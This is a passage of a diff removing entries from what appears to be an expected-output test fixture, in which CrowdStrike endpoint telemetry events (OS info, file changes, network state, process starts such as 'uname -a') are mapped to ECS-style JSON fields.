-            },
-            "related": {
-                "hash": [
-                    "35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027",
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:03:03.466Z",
-            "crowdstrike": {
-                "BootArgs": [
-                    "BOOT_IMAGE=/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64",
-                    "root=UUID=9f548782-8f9f-4dd9-873a-436ea8f3e8a6",
-                    "ro",
-                    "console=tty0",
-                    "console=ttyS0,115200n8",
-                    "net.ifnames=0",
-                    "biosdevname=0",
-                    "nvme_core.io_timeout=4294967295",
-                    "rd.emergency=poweroff",
-                    "rd.shell=0"
-                ],
-                "ConfigBuild": "1007.8.0011611.1",
-                "ConfigStateHash": "3712162471",
-                "MajorVersion": "4",
-                "MinorVersion": "14",
-                "OSVersionFileData": "4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a",
-                "OSVersionFileName": "/etc/os-release",
-                "RFMState": "1",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-93d4-0624c36f3a79",
-                "name": "OsVersionInfoLinV4"
-            },
-            "device": {
-                "id": "ffffffff2d1245c0a32d5efcf9351272"
-            },
-            "event": {
-                "action": "OsVersionInfo",
-                "category": [
-                    "host"
-                ],
-                "created": "2021-07-07T17:03:03.466Z",
-                "id": "ffffffff-1111-11eb-93d4-0624c36f3a79|ffffffff2d1245c0a32d5efcf9351272|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"MajorVersion\":\"4\",\"event_simpleName\":\"OsVersionInfo\",\"OSVersionFileData\":\"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a\",\"BootArgs\":\"BOOT_IMAGE\\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\\u003dUUID\\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\\u003dtty0 console\\u003dttyS0,115200n8 net.ifnames\\u003d0 biosdevname\\u003d0 nvme_core.io_timeout\\u003d4294967295 rd.emergency\\u003dpoweroff rd.shell\\u003d0\",\"ConfigStateHash\":\"3712162471\",\"AgentVersion\":\"6.19.11611.0\",\"aip\":\"67.43.156.14\",\"MinorVersion\":\"14\",\"OSVersionString\":\"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"name\":\"OsVersionInfoLinV4\",\"RFMState\":\"1\",\"id\":\"ffffffff-1111-11eb-93d4-0624c36f3a79\",\"OSVersionFileName\":\"/etc/os-release\",\"aid\":\"ffffffff2d1245c0a32d5efcf9351272\",\"timestamp\":\"1625677383466\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "ffffffff2d1245c0a32d5efcf9351272",
-                "os": {
-                    "type": "linux",
-                    "version": "Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64"
-                }
-            },
-            "message": "OsVersionInfo",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff2d1245c0a32d5efcf9351272",
-                "version": "6.19.11611.0"
-            },
-            "related": {
-                "hash": [
-                    "3712162471"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:03:59.398Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ContextProcessId": "364849347227309005",
-                "ContextTimeStamp": "2021-07-07T17:03:59.099Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "USN": "89566685",
-                "UnixMode": "384",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9262-0268ab613b49",
-                "name": "CriticalFileModifiedMacV2"
-            },
-            "device": {
-                "id": "ffffffff761b4a7d9962dd9e7e776044"
-            },
-            "event": {
-                "action": "CriticalFileModified",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:03:59.398Z",
-                "id": "ffffffff-1111-11eb-9262-0268ab613b49|ffffffff761b4a7d9962dd9e7e776044|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "alert",
-                "original": "{\"event_simpleName\":\"CriticalFileModified\",\"ContextTimeStamp\":\"1625677439.099\",\"GID\":\"0\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364849347227309005\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"FileIdentifier\":\"04000001000000000000000000000000cdf3100100000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"USN\":\"89566685\",\"event_platform\":\"Mac\",\"UnixMode\":\"384\",\"Entitlements\":\"15\",\"name\":\"CriticalFileModifiedMacV2\",\"id\":\"ffffffff-1111-11eb-9262-0268ab613b49\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff761b4a7d9962dd9e7e776044\",\"timestamp\":\"1625677439398\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/db/dslocal/nodes/Default/users/user9.plist/\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "directory": "/private/var/db/dslocal/nodes/Default/users",
-                "inode": "04000001000000000000000000000000cdf3100100000000",
-                "name": "user9.plist",
-                "path": "/private/var/db/dslocal/nodes/Default/users/user9.plist/",
-                "type": "dir"
-            },
-            "host": {
-                "id": "ffffffff761b4a7d9962dd9e7e776044",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "CriticalFileModified",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff761b4a7d9962dd9e7e776044",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "364849347227309005",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "0"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "group": {
-                    "id": "0"
-                },
-                "id": "0"
-            }
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:49.786Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InterfaceIndex": 6,
-                "NeighborList": [
-                    "1C-AB-C0-9B-10-A2",
-                    "2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2",
-                    "0"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-ac8a-06b5e1186139",
-                "name": "NeighborListIP6MacV1"
-            },
-            "device": {
-                "id": "ffffffff01c7450180352a7c58a28fb4"
-            },
-            "event": {
-                "action": "NeighborListIP6",
-                "category": [
-                    "host",
-                    "network"
-                ],
-                "created": "2021-07-07T17:04:49.786Z",
-                "id": "ffffffff-1111-11eb-ac8a-06b5e1186139|ffffffff01c7450180352a7c58a28fb4|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"NeighborListIP6\",\"ConfigStateHash\":\"3090255842\",\"NeighborList\":\"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|\",\"aip\":\"67.43.156.14\",\"InterfaceIndex\":\"6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NeighborListIP6MacV1\",\"id\":\"ffffffff-1111-11eb-ac8a-06b5e1186139\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff01c7450180352a7c58a28fb4\",\"timestamp\":\"1625677489786\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "unknown",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "ffffffff01c7450180352a7c58a28fb4",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "NeighborListIP6",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff01c7450180352a7c58a28fb4",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:03:03.057Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1325353086",
-                "ContextProcessId": "364952259879648742",
-                "ContextTimeStamp": "2021-07-07T17:03:02.785Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "IsOnRemovableDisk": "0",
-                "SHA256HashData": "359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9dc1-029257dbe83b",
-                "name": "NewScriptWrittenMacV3"
-            },
-            "device": {
-                "id": "ffffffffcebd42c0890d59b54279d3d3"
-            },
-            "event": {
-                "action": "NewScriptWritten",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:03:03.057Z",
-                "id": "ffffffff-1111-11eb-9dc1-029257dbe83b|ffffffffcebd42c0890d59b54279d3d3|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"NewScriptWritten\",\"ContextTimeStamp\":\"1625677382.785\",\"UserName\":\"user3\",\"ConfigStateHash\":\"1325353086\",\"ContextProcessId\":\"364952259879648742\",\"Size\":\"8052\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6\",\"FileIdentifier\":\"04000001000000000000000000000000ef07570000000000\",\"ConfigBuild\":\"1007.4.0013806.1\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"15\",\"name\":\"NewScriptWrittenMacV3\",\"id\":\"ffffffff-1111-11eb-9dc1-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffcebd42c0890d59b54279d3d3\",\"timestamp\":\"1625677383057\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "/Users/user3/git/it_eng_scripts/depnotify_starter",
-                "extension": "sh",
-                "inode": "04000001000000000000000000000000ef07570000000000",
-                "name": "dep_notify_starter.sh",
-                "path": "/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh",
-                "size": 8052,
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffffcebd42c0890d59b54279d3d3",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "NewScriptWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffcebd42c0890d59b54279d3d3",
-                "version": "1007.4.0013806.1"
-            },
-            "process": {
-                "entity_id": "364952259879648742",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6",
-                    "1325353086"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "user": [
-                    "user3"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "user3"
-            }
-        },
-        {
-            "@timestamp": "2021-07-07T17:03:07.216Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1620585913",
-                "CpuClockSpeed": "2400000000",
-                "CpuFeaturesMask": "7494065083908067",
-                "CpuProcessorName": "Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz",
-                "CpuSignature": "591597",
-                "CpuVendor": "0",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "LogicalCoreCount": 16,
-                "MemoryTotal": "17179869184",
-                "PhysicalCoreCount": 8,
-                "ProcessorPackageCount": 1,
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-b714-066001392751",
-                "name": "SystemCapacityMacV1"
-            },
-            "device": {
-                "id": "fffffffff2c7432859ff6bbe1a0bd6af"
-            },
-            "event": {
-                "action": "SystemCapacity",
-                "category": [
-                    "host"
-                ],
-                "created": "2021-07-07T17:03:07.216Z",
-                "id": "ffffffff-1111-11eb-b714-066001392751|fffffffff2c7432859ff6bbe1a0bd6af|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"SystemCapacity\",\"ConfigStateHash\":\"1620585913\",\"aip\":\"67.43.156.13\",\"CpuClockSpeed\":\"2400000000\",\"PhysicalCoreCount\":\"8\",\"CpuFeaturesMask\":\"7494065083908067\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LogicalCoreCount\":\"16\",\"Entitlements\":\"15\",\"name\":\"SystemCapacityMacV1\",\"CpuVendor\":\"0\",\"CpuProcessorName\":\"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz\",\"id\":\"ffffffff-1111-11eb-b714-066001392751\",\"CpuSignature\":\"591597\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"fffffffff2c7432859ff6bbe1a0bd6af\",\"ProcessorPackageCount\":\"1\",\"MemoryTotal\":\"17179869184\",\"timestamp\":\"1625677387216\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "fffffffff2c7432859ff6bbe1a0bd6af",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "SystemCapacity",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "fffffffff2c7432859ff6bbe1a0bd6af",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:02:48.429Z",
-            "crowdstrike": {
-                "BootTimeFunctionalityLevel": "255",
-                "ConfigStateHash": "3090255842",
-                "CurrentFunctionalityLevel": "2",
-                "EffectiveTransmissionClass": "0",
-                "Entitlements": "15",
-                "FirmwareAnalysisEclConsumerInterfaceVersion": "0",
-                "FirmwareAnalysisEclControlInterfaceVersion": "0",
-                "PciAttachmentState": "65535",
-                "ReasonOfFunctionalityLevel": "3",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-ba57-0214a0d89bf7",
-                "name": "FirmwareAnalysisStatusMacV2"
-            },
-            "device": {
-                "id": "ffffffff0d7b4d839912e55b4755e85b"
-            },
-            "event": {
-                "action": "FirmwareAnalysisStatus",
-                "category": [
-                    "host"
-                ],
-                "created": "2021-07-07T17:02:48.429Z",
-                "id": "ffffffff-1111-11eb-ba57-0214a0d89bf7|ffffffff0d7b4d839912e55b4755e85b|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"FirmwareAnalysisStatus\",\"ConfigStateHash\":\"3090255842\",\"FirmwareAnalysisEclControlInterfaceVersion\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"FirmwareAnalysisEclConsumerInterfaceVersion\":\"0\",\"BootTimeFunctionalityLevel\":\"255\",\"ReasonOfFunctionalityLevel\":\"3\",\"CurrentFunctionalityLevel\":\"2\",\"Entitlements\":\"15\",\"name\":\"FirmwareAnalysisStatusMacV2\",\"id\":\"ffffffff-1111-11eb-ba57-0214a0d89bf7\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff0d7b4d839912e55b4755e85b\",\"timestamp\":\"1625677368429\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"PciAttachmentState\":\"65535\"}",
-                "outcome": "success",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "ffffffff0d7b4d839912e55b4755e85b",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "FirmwareAnalysisStatus",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff0d7b4d839912e55b4755e85b",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:04.544Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "InDiscards": "0",
-                "InErrors": "0",
-                "InMulticastPkts": "0",
-                "InOctets": "0",
-                "InUcastPkts": "0",
-                "InUnknownProtos": "0",
-                "InterfaceAlias": "utun2",
-                "InterfaceIndex": 17,
-                "InterfaceType": "1",
-                "LocalAddressIP4": [
-                    "67.43.156.14"
-                ],
-                "NetLuidIndex": 2,
-                "OutErrors": "0",
-                "OutMulticastPkts": "0",
-                "OutOctets": "0",
-                "OutUcastPkts": "0",
-                "PhysicalAddressLength": 0,
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-a272-0294ad12fbe7",
-                "name": "LocalIpAddressIP4MacV1"
-            },
-            "device": {
-                "id": "ffffffff557f4b99a0afdea9ce8cd6fa"
-            },
-            "event": {
-                "action": "LocalIpAddressIP4",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2021-07-07T17:05:04.544Z",
-                "id": "ffffffff-1111-11eb-a272-0294ad12fbe7|ffffffff557f4b99a0afdea9ce8cd6fa|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"OutOctets\":\"0\",\"CreationTimeStamp\":\"\",\"aip\":\"67.43.156.13\",\"OutMulticastPkts\":\"0\",\"InErrors\":\"0\",\"InterfaceAlias\":\"utun2\",\"InDiscards\":\"0\",\"InterfaceIndex\":\"17\",\"event_platform\":\"Mac\",\"InterfaceType\":\"1\",\"id\":\"ffffffff-1111-11eb-a272-0294ad12fbe7\",\"PhysicalAddressLength\":\"0\",\"InUcastPkts\":\"0\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677504544\",\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"LocalIpAddressIP4\",\"ConfigStateHash\":\"3090255842\",\"PhysicalAddress\":\"\",\"OutErrors\":\"0\",\"InUnknownProtos\":\"0\",\"OutUcastPkts\":\"0\",\"InMulticastPkts\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"InOctets\":\"0\",\"NetLuidIndex\":\"2\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressIP4MacV1\",\"aid\":\"ffffffff557f4b99a0afdea9ce8cd6fa\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffff557f4b99a0afdea9ce8cd6fa",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "LocalIpAddressIP4",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff557f4b99a0afdea9ce8cd6fa",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.13",
-                    "67.43.156.14"
-                ]
-            },
-            "source": {
-                "address": "67.43.156.14",
-                "as": {
-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.14"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:04:59.681Z",
-            "crowdstrike": {
-                "ConfigStateHash": "4288861242",
-                "Entitlements": "15",
-                "MD5HashData": "894356eb59e279696c304f07091b7fde",
-                "NDRoot": "321385814512398584",
-                "RGID": "0",
-                "RUID": "0",
-                "SHA256HashData": "de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa",
-                "SVGID": "0",
-                "SVUID": "0",
-                "SessionProcessId": "314116638974342642",
-                "SourceProcessId": "321385814512398584",
-                "SourceThreadId": "0",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-ac87-06decddc17a1",
-                "name": "ProcessRollup2LinV5"
-            },
-            "device": {
-                "id": "ffffffff70d140ca9ba97f0dddd14137"
-            },
-            "event": {
-                "action": "ProcessRollup2",
-                "category": [
-                    "process"
-                ],
-                "created": "2020-11-08T17:04:59.681Z",
-                "id": "ffffffff-1111-11eb-ac87-06decddc17a1|ffffffff70d140ca9ba97f0dddd14137|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"CommandLine\":\"uname -a\",\"ConfigBuild\":\"1007.8.0009806.1\",\"ConfigStateHash\":\"4288861242\",\"Entitlements\":\"15\",\"GID\":\"0\",\"ImageFileName\":\"/bin/uname\",\"MD5HashData\":\"894356eb59e279696c304f07091b7fde\",\"NDRoot\":\"321385814512398584\",\"ParentProcessId\":\"321385814512398584\",\"ProcessEndTime\":\"1604855099.126\",\"ProcessGroupId\":\"0\",\"ProcessStartTime\":\"1604855099.126\",\"RGID\":\"0\",\"RUID\":\"0\",\"RawProcessId\":\"51342\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa\",\"SVGID\":\"0\",\"SVUID\":\"0\",\"SessionProcessId\":\"314116638974342642\",\"SourceProcessId\":\"321385814512398584\",\"SourceThreadId\":\"0\",\"TargetProcessId\":\"321385814512398605\",\"UID\":\"0\",\"aid\":\"ffffffff70d140ca9ba97f0dddd14137\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Lin\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-ac87-06decddc17a1\",\"name\":\"ProcessRollup2LinV5\",\"timestamp\":\"1604855099681\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "group": {
-                "Ext": {
-                    "real": {
-                        "id": "0"
-                    }
-                },
-                "id": "0"
-            },
-            "host": {
-                "id": "ffffffff70d140ca9ba97f0dddd14137",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "ProcessRollup2",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff70d140ca9ba97f0dddd14137",
-                "version": "1007.8.0009806.1"
-            },
-            "process": {
-                "args": [
-                    "uname",
-                    "-a"
-                ],
-                "args_count": 2,
-                "command_line": "uname -a",
-                "end": "2020-11-08T17:04:59.126Z",
-                "entity_id": "321385814512398605",
-                "executable": "/bin/uname",
-                "group": {
-                    "id": "0"
-                },
-                "group_leader": {
-                    "entity_id": "0"
-                },
-                "hash": {
-                    "md5": "894356eb59e279696c304f07091b7fde",
-                    "sha256": "de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa"
-                },
-                "name": "uname",
-                "parent": {
-                    "entity_id": "321385814512398584"
-                },
-                "pgid": 0,
-                "pid": 51342,
-                "real_group": {
-                    "id": "0"
-                },
-                "real_user": {
-                    "id": "0"
-                },
-                "start": "2020-11-08T17:04:59.126Z",
-                "uptime": 0
-            },
-            "related": {
-                "hash": [
-                    "894356eb59e279696c304f07091b7fde",
-                    "de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa",
-                    "4288861242"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "0"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "Ext": {
-                    "real": {
-                        "id": "0"
-                    }
-                },
-                "group": {
-                    "id": "0"
-                },
-                "id": "0"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:04:59.646Z",
-            "crowdstrike": {
-                "AsepWrittenCount": 0,
-                "ConfigStateHash": "1789338890",
-                "ContextProcessId": "317713210176499254",
-                "ContextTimeStamp": "2020-11-08T17:04:56.730Z",
-                "DirectoryCreatedCount": 0,
-                "DnsRequestCount": 0,
-                "Entitlements": "15",
-                "ExecutableDeletedCount": 0,
-                "FileDeletedCount": 0,
-                "NetworkBindCount": 0,
-                "NetworkCapableAsepWriteCount": 0,
-                "NetworkCloseCount": 0,
-                "NetworkConnectCount": 0,
-                "NetworkListenCount": 0,
-                "NetworkRecvAcceptCount": 0,
-                "NewExecutableWrittenCount": 0,
-                "SHA256HashData": "6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0",
-                "SuspectStackCount": 0,
-                "SuspiciousDnsRequestCount": 0,
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-809e-02fff4e55a49",
-                "name": "EndOfProcessMacV14"
-            },
-            "device": {
-                "id": "ffffffff75fc48f15cfe5f095e605c4c"
-            },
-            "event": {
-                "action": "EndOfProcess",
-                "category": [
-                    "process"
-                ],
-                "created": "2020-11-08T17:04:59.646Z",
-                "id": "ffffffff-1111-11eb-809e-02fff4e55a49|ffffffff75fc48f15cfe5f095e605c4c|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
